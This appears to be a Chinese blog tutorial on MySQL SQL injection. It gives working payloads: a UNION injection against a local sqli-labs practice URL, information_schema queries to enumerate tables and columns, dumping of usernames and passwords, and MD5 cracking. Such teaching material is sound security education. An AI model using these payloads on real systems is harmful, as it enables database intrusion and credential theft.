在对MYSQL注入的基本流程讲解前先来科普一下MySQL 5.0以上和MySQL 5.0以下版本的区别
MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库--INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。而5.0以下没有。我们常见的MySQL注入都是基于MySQL5.0以上版本的
所以我们有必要在进行SQL注入时养成用version()来查看数据库版本的习惯
sql注入基本流程
0x01 判断是否有注入点
通过加单引号和and 1=1,and 1=2等根据页面返回结果确定是否存在注入
目标:需要确定
- 注入方式(union,boolean,cookie等)
- 如果是(union,boolean,报错)注入还得确定注入参数类型是数字型还是字符型
0x02 获取数据库基本信息
1.数据库版本
比如数据库类型(MySQL,Oracle等)
如果是MySQL还得确定版本
下面语句都是插入在回显点处,并且都要加上括号包裹
例:http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema =database() limit 0,1),3 --+
0x03 获取数据库库名
通过确定的回显点处使用database()函数来查看当前使用的数据库
如果想查看所有数据库名,可使用命令
SELECT * FROM INFORMATION_SCHEMA.SCHEMATA
0x04 获取数据库表名
select table_name from information_schema.tables where table_schema=database() limit 0,1
/*上面的limit 0,1表示从第一个开始,显示1个值*/
select group_concat(table_name) from information_schema.tables where table_schema='数据库名'
/*如果是只想查看当前数据库,数据库名直接用database()代替*/
0x05 获取数据库字段名
select table_name from information_schema.tables where table_schema=database() limit 0,1
/*上面的limit 0,1表示从第一个开始,显示1个值*/
group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
0x06 获取字段下的值
一般是用户信息,如账号密码之类的
select group_concat(字段名,字段名) from 表名
例:
select group_concat(username,password) from users
0x07 破解数据
针对密码等数据一般都是经过MD5加密的,我们可以通过解密平台进行解密
0x08 提升权限
0x09 内网渗透
FROM:无垠の安全
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论